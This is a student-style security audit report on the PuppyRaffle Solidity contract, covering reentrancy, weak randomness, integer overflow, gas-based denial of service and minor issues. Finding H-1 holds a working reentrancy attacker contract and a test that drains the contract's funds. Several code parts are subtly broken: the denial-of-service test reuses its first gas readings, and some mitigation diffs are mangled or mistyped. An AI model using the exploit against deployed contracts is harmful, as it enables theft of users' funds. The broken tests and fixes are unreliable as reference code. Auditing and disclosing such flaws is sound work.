



PuppyRaffle Audit Report

Version 1.0

Gabal

March 6, 2026

Protocol Audit Report

Gabal

March 6, 2026

Prepared by: Gabal

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
 - Issues found
- Findings
- High
 - [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance
 - [H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy
 - [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees
- Medium
 - [M-1] The loop at player arrays for the dup checks here `PuppyRaffle::enterRaffle` its huge potential risk for Denial of service (Dos) attack, causing a severe increase for gas cost for the new players.

- [M-2] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest
- Low
 - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and players at index 0 causing players to incorrectly think they have not entered the raffle
- Informational
 - [I-1]: Unspecific Solidity Pragma
 - [I-2]: Using an old version of solidity is not recommended.
 - ★ [I-3] Missing checks for `address(0)` when assigning values to address state variables
 - ★ [I-4] does not follow CEI, which is not a best practice
 - ★ [I-5] Use of “magic” numbers is discouraged
 - ★ [I-6] State Changes are Missing Events
 - ★ [I-7] `_isActivePlayer` is never used and should be removed
- Gas
 - [G-1] Unchanged state variables should be declared constant or immutable
 - [G-2] Storage Variables in a Loop Should be Cached

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
 1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a `feeAddress` to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Gabal team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

- In Scope:

```
1 ./src/  
2 #-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Issues found

Severity	Number of Issues
High	3
Medium	2
Low	1
Gas	2
Informational	7
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that call do we update the `PuppyRaffle::players` array.

```
1 function refund(uint256 playerIndex) public {
2     address playerAddress = players[playerIndex];
3     require(playerAddress == msg.sender, "PuppyRaffle: Only the player
   can refund");
4     require(playerAddress != address(0), "PuppyRaffle: Player already
   refunded, or is not active");
5
6     @> payable(msg.sender).sendValue(entranceFee);
7     @> players[playerIndex] = address(0);
8
9     emit RaffleRefunded(playerAddress);
10 }
```

Impact: All fees paid by raffle entrants could be stolen by a malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the PuppyRaffle balance.

PoC Code

Add the following to `PuppyRaffle.t.sol`

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle) {
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() public payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
16         ;
17         puppyRaffle.refund(attackerIndex);
18     }
19
20     function _stealMoney() internal {
21         if (address(puppyRaffle).balance >= entranceFee) {
22             puppyRaffle.refund(attackerIndex);
23         }
24     }
25
26     fallback() external payable {
27         _stealMoney();
28     }
29
30     receive() external payable {
31         _stealMoney();
32     }
33 }
34
35 // test to confirm vulnerability
36 function testCanGetRefundReentrancy() public {
37     address[] memory players = new address[](4);
38     players[0] = playerOne;
39     players[1] = playerTwo;
40     players[2] = playerThree;
```

```
40     players[3] = playerFour;
41     puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
42
43     ReentrancyAttacker attackerContract = new ReentrancyAttacker(
44         puppyRaffle);
45     address attacker = makeAddr("attacker");
46     vm.deal(attacker, 1 ether);
47
48     uint256 startingAttackContractBalance = address(attackerContract).
49         balance;
50     uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;
51
52     // attack
53     vm.prank(attacker);
54     attackerContract.attack{value: entranceFee}();
55
56     // impact
57     console.log("attackerContract balance: ",
58         startingAttackContractBalance);
59     console.log("puppyRaffle balance: ", startingPuppyRaffleBalance);
60     console.log("ending attackerContract balance: ", address(
61         attackerContract).balance);
62     console.log("ending puppyRaffle balance: ", address(puppyRaffle).
63         balance);
64 }
```

Recommendation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally we should move the event emission up as well.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
4             player can refund");
5         require(playerAddress != address(0), "PuppyRaffle: Player
6             already refunded, or is not active");
7         + players[playerIndex] = address(0);
8         + emit RaffleRefunded(playerAddress);
9         payable(msg.sender).sendValue(entranceFees);
10        - players[playerIndex] = address(0);
11        - emit RaffleRefunded(playerAddress);
12    }
```

[H-2] Weak Randomness in PuppyRaffle::selectWinner allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if a gas war to choose a winner results.

Proof of Concept:

1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3] Integer overflow of PuppyRaffle::totalFees loses fees

Description: In solidity versions prior to 0.8.0 integers were subject to integer overflows.

```
1    uint64 myVar = type(uint64).max
2    // 18446744073709551615
3    myVar = myVar + 1
4    // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract

Proof of Concept: Okay let we say that we gonna make it on `type(uint64)` we have mentioned that the max amount of it will be 18446744073709551615 seems good? No what if we had a

18446744073709551615 + 1 = ??, here we are we are gonna back again to zero? it doesnt make any scence for me .

Now how we do that ? 1- Make sure to close the raffle of 4 to get some fees 2- We gonna add 89 players to the raffle 3- Then we have to end it If you have calc it you gonna see that totalFees = 8000000000000000000 + 17800000000000000000; and the calc of it will be 53255926290448384 which is totally wrong! we are losing fees here!! -Addetionally we will not have the access to withdraw cause of the require line here `PuppyRaffle::withdrawFees`

```
1   require(address(this).balance ==
2   uint256(totalFees), "PuppyRaffle: There are currently players
   active!");
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default. “diff
 - pragma solidity ^0.7.6;
 - pragma solidity ^0.8.18; “Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's SafeMath to prevent integer overflows.
2. Use a `uint256` instead of a `uint64` for `totalFees`. “diff
 - uint64 public totalFees = 0;
 - uint256 public totalFees = 0; “
3. Remove the balance check in `PuppyRaffle::withdrawFees` “diff
 - require(address(this).balance == uint256(totalFees), “PuppyRaffle: There are currently players active!”); “

Meduim

[M-1] The loop at plyer arrayes for the dup checks here `PuppyRaffle::enterRaffle` its huge potential risk for Denie l of service (Dos) attac, causing a severe increase for gas coast for the new players.

Description: The `PuppyRaffle::enterRaffle` fucntiom making a loop for the `players` array to make sure that there is no dup accounts. But lets focus on the main case here, The longer the `PuppyRaffle::enterRaffle` is being used, the more checks is being made on the new players, which means the more gas is being used and thats our main issue here that who got entered the raffle

first will have to pay a little gas but for those who are new that will be a huge num of gas for them which is not fair and making this contract not usable at all.

```
1 // @audit Dos attack
2 @> for (uint256 i = 0; i < players.length - 1; i++) {
3     for (uint256 j = i + 1; j < players.length; j++) {
4         require(players[i] != players[j], "PuppyRaffle:
5             Duplicate player");
6     }
7 }
```

Impact: The gas coast for entrance will be increased in a huge way as more player entering the raffle. Which will make a low user have like a huge advantage just for joining before the others and that will reduce the num of users using the contract. The attacker can take the `PuppyRaffle::enterRaffle` and making it too big that no one else enter the raffle which means that we have a cheater winner!!!

Proof of Concept: If we have 2 sets of 100 players enter, the coast will be almost: For the 1st 100 > ~ 6521881 For the 2nd 100 > ~ 8900285

Thats almost more than 2x more expensive for the 2nd 100 players

Place the following to the `PuppyRaffleTest.t.sol`.

```
1 function testDenialOfService() public {
2
3     // Creates 100 addresses
4     uint256 playersNum = 100;
5     address[] memory players = new address[](playersNum);
6     for(uint i = 0; i < players.length; i++){
7         players[i] = address(i);
8     }
9
10    // Gas calculations for first 100 players
11    uint256 gasStart = gasleft();
12    puppyRaffle.enterRaffle{value: entranceFee * players.length}(
13        players);
14    uint256 gasEnd = gasleft();
15    uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
16    console.log("Gas cost of the first 100 players: ", gasUsedFirst);
17
18    // Creates another array of 100 players
19    address[] memory playersTwo = new address[](playersNum);
20    for (uint256 i = 0; i < playersTwo.length; i++) {
21        playersTwo[i] = address(i + playersNum);
22    }
23
24    // Gas calculations for second 100 players
25    uint256 gasStartTwo = gasleft();
```

```
25     puppyRaffle.enterRaffle{value: entranceFee * players.length}(
      players);
26     uint256 gasEndTwo = gasleft();
27     uint256 gasUsedSecond = (gasStart - gasEnd) * tx.gasprice;
28     console.log("Gas cost of the second 100 players: ", gasUsedSecond);
29
30     assert(gasUsedFirst < gasUsedSecond);
31 }
```

Recommended Mitigation: Here we are to our recommendation for fixes!!!! 1- consider allowing dup, why? the dup check doesnt stop any user from creating another wallet to enter the raffle so anyways its not providing any solution. 2- Try another way to make the checks and I am recommending using mapping to make sure that the user has already entered the raffle before.

```
1 +     mapping(address => uint256) public addressToRaffleId;
2 +     uint256 public raffleId = 0;
3     .
4     .
5     .
6     function enterRaffle(address[] memory newPlayers) public payable {
7         require(msg.value == entranceFee * newPlayers.length, "
          PuppyRaffle: Must send enough to enter raffle");
8         for (uint256 i = 0; i < newPlayers.length; i++) {
9             players.push(newPlayers[i]);
10 +             addressToRaffleId[newPlayers[i]] = raffleId;
11         }
12
13 -         // Check for duplicates
14 +         // Check for duplicates only from the new players
15 +         for (uint256 i = 0; i < newPlayers.length; i++) {
16 +             require(addressToRaffleId[newPlayers[i]] != raffleId, "
          PuppyRaffle: Duplicate player");
17 +         }
18 -         for (uint256 i = 0; i < players.length; i++) {
19 -             for (uint256 j = i + 1; j < players.length; j++) {
20 -                 require(players[i] != players[j], "PuppyRaffle:
          Duplicate player");
21 -             }
22 -         }
23         emit RaffleEnter(newPlayers);
24     }
25     .
26     .
27     .
28     function selectWinner() external {
29 +         raffleId = raffleId + 1;
30         require(block.timestamp >= raffleStartTime + raffleDuration, "
          PuppyRaffle: Raffle not over");
```

3- Alternatively, you could use OpenZeppelin's `EnumerableSet` library from here (<https://docs.openzeppelin.com/c>)

[M-2] Smart Contract wallet raffle winners without a receive or a fallback will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owners on the winner to claim their prize. (Recommended)

Low

[L-1] PuppyRaffle::getActivePlayerIndex returns 0 for non-existent players and players at index 0 causing players to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec it will also return zero if the player is NOT in the array.

```
1     function getActivePlayerIndex(address player) external view returns
2         (uint256) {
3         for (uint256 i = 0; i < players.length; i++) {
4             if (players[i] == player) {
5                 return i;
6             }
7         }
8         return 0;
9     }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommendations: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but an even better solution might be to return an `int256` where the function returns -1 if the player is not active.

Informational

[I-1]: Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in `src/PuppyRaffle.sol` Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2]: Using an old version of solidity is not recommended.

`solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement. Recommendation

Recommendations:

Deploy with any of the following Solidity versions:

```
1 `0.8.18`
```

The recommendations take into account:

- 1 Risks related to recent releases
- 2 Risks of complex code generation changes
- 3 Risks of **new** language features
- 4 Risks of known bugs

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for address (0) when assigning values to address state variables

Assigning values to address state variables without checking for `address (0)`.

- Found in `src/PuppyRaffle.sol` Line: 69

```
1 feeAddress = _feeAddress;
```

- Found in `src/PuppyRaffle.sol` Line: 159

```
1 previousWinner = winner;
```

- Found in `src/PuppyRaffle.sol` Line: 182

```
1 feeAddress = newFeeAddress;
```

[I-4] does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1 ```diff
```

- `(bool success,) = winner.call{value: prizePool}("");`
- `require(success, "PuppyRaffle: Failed to send prize pool to winner"); _safeMint(winner, tokenId);`
- `(bool success,) = winner.call{value: prizePool}("");`
- `require(success, "PuppyRaffle: Failed to send prize pool to winner"); ""`

[I-5] Use of “magic” numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1 uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2 uint256 public constant FEE_PERCENTAGE = 20;
3 uint256 public constant POOL_PRECISION = 100;
4
5 uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE)
6 / POOL_PRECISION;
7
8 uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
9 POOL_PRECISION;
```

[I-6] State Changes are Missing Events**[I-7] `_isActivePlayer` is never used and should be removed****Gas****[G-1] Unchanged state variables should be declared constant or immutable**

Reading from storage is much more expensive than reading a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage Variables in a Loop Should be Cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
1 + uint256 playersLength = players.length;
2 - for (uint256 i = 0; i < players.length - 1; i++) {
3 + for (uint256 i = 0; i < playersLength - 1; i++) {
4 -     for (uint256 j = i + 1; j < players.length; j++) {
5 +     for (uint256 j = i + 1; j < playersLength; j++) {
6         require(players[i] != players[j], "PuppyRaffle: Duplicate player"
7             );
8     }
9 }
```